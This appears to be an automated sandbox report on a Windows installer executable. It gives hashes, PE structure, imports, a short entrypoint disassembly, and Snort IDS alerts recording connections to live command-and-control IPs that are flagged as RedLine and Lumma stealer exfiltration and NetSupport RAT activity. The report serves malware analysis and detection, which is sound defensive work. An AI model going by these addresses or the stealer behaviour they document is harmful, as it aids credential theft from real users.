Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.637252809013565
Encrypted:	false
SSDEEP:	3:49Rk/l9I2Y1AnXml/mlLn:NgGySLn
MD5:	C5703D6CA2A667B3C457633E12913883
SHA1:	0CB24D5C1BB3ABC49B5EC364A502C861143F25EA
SHA-256:	6C3D04DB3CC81D63D74A9779FDE31EED24439D4B498A4D2D1822053AB58F6990
SHA-512:	DF47BE3EC8ECA98DD02B132CEB123136097B9770F6188752C0B76F6E723467506E7DE95804F9F3FE350EFC6BCC0EF63E7ED57401DF2C0D757C123A7C88FAF29E
Malicious:	false
Reputation:	unknown
Preview:	....9.6.5.5.4.3.....\MAILSLOT\NET\GETDC2001EEEF.................

**\Device\Mup\WORKGROUP*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.670063206984032
Encrypted:	false
SSDEEP:	3:49Rk/l9I2Y1AnrO1wl8lLn:NgGrMwqLn
MD5:	A7A9BEEA71C4E6D7FCDD9C6CBC19DDA1
SHA1:	064FBACCE3BE5699C21FC6858F354C422617FCE4
SHA-256:	8B62E01712A55E71D03BA78D36F553D8FDCD51CEA2C0EDD24E98D14C5CD0B9D3
SHA-512:	D8D050DA1A9979D4AC5C19D724295E428E5E4EFA5D0AD736293F5830A9B3A31947E4BB5B39E3F4202AAA107E84F2632C3D64BA7D1E8CA2B311D7A512A9F01779
Malicious:	false
Reputation:	unknown
Preview:	....9.6.5.5.4.3.....\MAILSLOT\NET\GETDCE0412DF5.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.41474800570153
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	ZmWSzgevgt.exe
File size:	1'671'954 bytes
MD5:	2deaf2be4672bf6457e136d78a7a3940
SHA1:	f8460d05dbdb1c171818510c9685847d00468349
SHA256:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724
SHA512:	d6ac5c64471ed17b2f372d29da6a17fb7a959c02f026ee05134b77a90361f4e15bd4f531424107407cd54ce985aa5aee7eeca72da064fde10f9c1ba638181a47
SSDEEP:	24576:s7FUDowAyrTVE3U5F/dszKic6QL3E2vVsjECUAQT45deRV9Rg:sBuZrEUiKIy029s4C1eH9e
TLSH:	5575BF3FF268A13EC5AA1B3245B38310997BBA51B81A8C1E47FC344DCF765601E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007FEBE109C2A5h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007FEBE113ED97h
call 00007FEBE113E8EAh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007FEBE10B1D44h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007FEBE1096E97h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007FEBE10B2EC7h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007FEBE113EE1Fh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007FEBE114503Ah
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007FEBE10B37BCh
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x11000	0x11000	False	0.18623621323529413	data	3.69581702026596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xc80e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xc8748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xc8a30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xc8b58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xca180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcb028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcb8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcbe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xcd120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd4998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd4e00	0x360	data			0.34375
RT_STRING	0xd5160	0x260	data			0.3256578947368421
RT_STRING	0xd53c0	0x45c	data			0.4068100358422939
RT_STRING	0xd581c	0x40c	data			0.3754826254826255
RT_STRING	0xd5c28	0x2d4	data			0.39226519337016574
RT_STRING	0xd5efc	0xb8	data			0.6467391304347826
RT_STRING	0xd5fb4	0x9c	data			0.6410256410256411
RT_STRING	0xd6050	0x374	data			0.4230769230769231
RT_STRING	0xd63c4	0x398	data			0.3358695652173913
RT_STRING	0xd675c	0x368	data			0.3795871559633027
RT_STRING	0xd6ac4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd6d68	0x10	data			1.5
RT_RCDATA	0xd6d78	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd703c	0x2c	data			1.1363636363636365
RT_GROUP_ICON	0xd7068	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xd7124	0x584	data	English	United States	0.2754957507082153
RT_MANIFEST	0xd76a8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.577.105.136.350296812046045 12/06/23-14:36:21.023223	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50296	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350339812046045 12/06/23-14:36:51.222959	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50339	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550240802048094 12/06/23-14:35:36.356295	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	50240	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350333812046045 12/06/23-14:36:47.245112	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50333	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350342812046045 12/06/23-14:36:53.204282	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50342	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550196802855505 12/06/23-14:35:05.037520	TCP	2855505	ETPRO TROJAN Lumma Stealer Related Activity	50196	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350281812046045 12/06/23-14:36:10.745594	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50281	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350290812046045 12/06/23-14:36:17.057630	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50290	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350278812046045 12/06/23-14:36:08.769868	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50278	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350253812046045 12/06/23-14:35:52.149838	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50253	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350351812046045 12/06/23-14:36:59.140117	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50351	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350367812046045 12/06/23-14:37:10.788474	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50367	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350287812046045 12/06/23-14:36:15.015230	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50287	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350324812046045 12/06/23-14:36:39.669230	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50324	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350315812046045 12/06/23-14:36:33.722404	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50315	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350306812046045 12/06/23-14:36:27.603943	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50306	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350280812046045 12/06/23-14:36:10.078872	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50280	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350269812046045 12/06/23-14:36:02.831888	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50269	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350323812046045 12/06/23-14:36:38.995481	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50323	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350262812046045 12/06/23-14:35:58.204295	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50262	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350297812046045 12/06/23-14:36:21.680969	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50297	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350300812046045 12/06/23-14:36:23.660225	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50300	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350358812046045 12/06/23-14:37:04.890944	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50358	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350357812046045 12/06/23-14:37:03.144834	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50357	81	192.168.2.5	77.105.136.3
192.168.2.5157.230.96.3250126802834928 12/06/23-14:33:41.532380	TCP	2834928	ETPRO MALWARE Observed Suspicious UA (AdvancedInstaller)	50126	80	192.168.2.5	157.230.96.32
192.168.2.577.105.136.350316812046045 12/06/23-14:36:34.370818	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50316	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350370812046045 12/06/23-14:37:12.776192	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50370	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350305812046045 12/06/23-14:36:26.947206	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50305	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350263812046045 12/06/23-14:35:58.892261	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50263	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350334812046045 12/06/23-14:36:47.909549	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50334	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350268812046045 12/06/23-14:36:02.185549	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50268	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350352812046045 12/06/23-14:36:59.810575	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50352	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350245812046045 12/06/23-14:35:46.787174	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50245	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350286812046045 12/06/23-14:36:14.346391	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50286	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350264812046045 12/06/23-14:35:59.558216	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50264	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350368812046045 12/06/23-14:37:11.445584	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50368	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350270812046045 12/06/23-14:36:03.477604	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50270	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350261812046045 12/06/23-14:35:57.535196	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50261	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350301812046045 12/06/23-14:36:24.319593	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50301	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350279812046045 12/06/23-14:36:09.427188	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50279	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350350812046045 12/06/23-14:36:58.477999	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50350	81	192.168.2.5	77.105.136.3
192.168.2.5159.223.29.4049730802839343 12/06/23-14:33:21.497166	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	49730	80	192.168.2.5	159.223.29.40
192.168.2.577.105.136.350288812046045 12/06/23-14:36:15.727049	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50288	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350338812046045 12/06/23-14:36:50.569356	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50338	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350344812046045 12/06/23-14:36:54.501584	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50344	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350285812046045 12/06/23-14:36:13.685357	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50285	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350291812046045 12/06/23-14:36:17.724996	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50291	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350255812046045 12/06/23-14:35:53.486217	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50255	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350258812046045 12/06/23-14:35:55.450063	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50258	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350353812046045 12/06/23-14:37:00.456748	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50353	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350347812046045 12/06/23-14:36:56.459765	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50347	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350249812046045 12/06/23-14:35:49.517021	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50249	81	192.168.2.5	77.105.136.3
192.168.2.595.142.47.114971812032827745 12/06/23-14:33:18.908166	TCP	2827745	ETPRO TROJAN NetSupport RAT CnC Activity	49718	1203	192.168.2.5	95.142.47.11
192.168.2.577.105.136.350314812046045 12/06/23-14:36:33.067223	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50314	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350349812046045 12/06/23-14:36:57.813215	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50349	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550196802048094 12/06/23-14:35:05.671865	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	50196	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350283812046045 12/06/23-14:36:12.083206	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50283	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550196802048093 12/06/23-14:35:05.393985	TCP	2048093	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In	50196	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350320812046045 12/06/23-14:36:37.012244	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50320	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350355812046045 12/06/23-14:37:01.752652	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50355	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350308812046045 12/06/23-14:36:28.952581	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50308	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350266812046045 12/06/23-14:36:00.860284	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50266	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350294812046045 12/06/23-14:36:19.720749	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50294	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350272812046045 12/06/23-14:36:04.780598	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50272	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350325812046045 12/06/23-14:36:40.326068	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50325	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350361812046045 12/06/23-14:37:06.857535	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50361	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350331812046045 12/06/23-14:36:44.280145	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50331	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350366812046045 12/06/23-14:37:10.126303	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50366	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350277812046045 12/06/23-14:36:08.103794	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50277	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350319812046045 12/06/23-14:36:36.357919	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50319	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350299812046045 12/06/23-14:36:22.998701	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50299	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350293812046045 12/06/23-14:36:19.055677	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50293	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350336812046045 12/06/23-14:36:49.242148	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50336	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350327812046045 12/06/23-14:36:41.646083	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50327	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350284812046045 12/06/23-14:36:12.740748	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50284	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350247812046045 12/06/23-14:35:48.186162	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50247	81	192.168.2.5	77.105.136.3
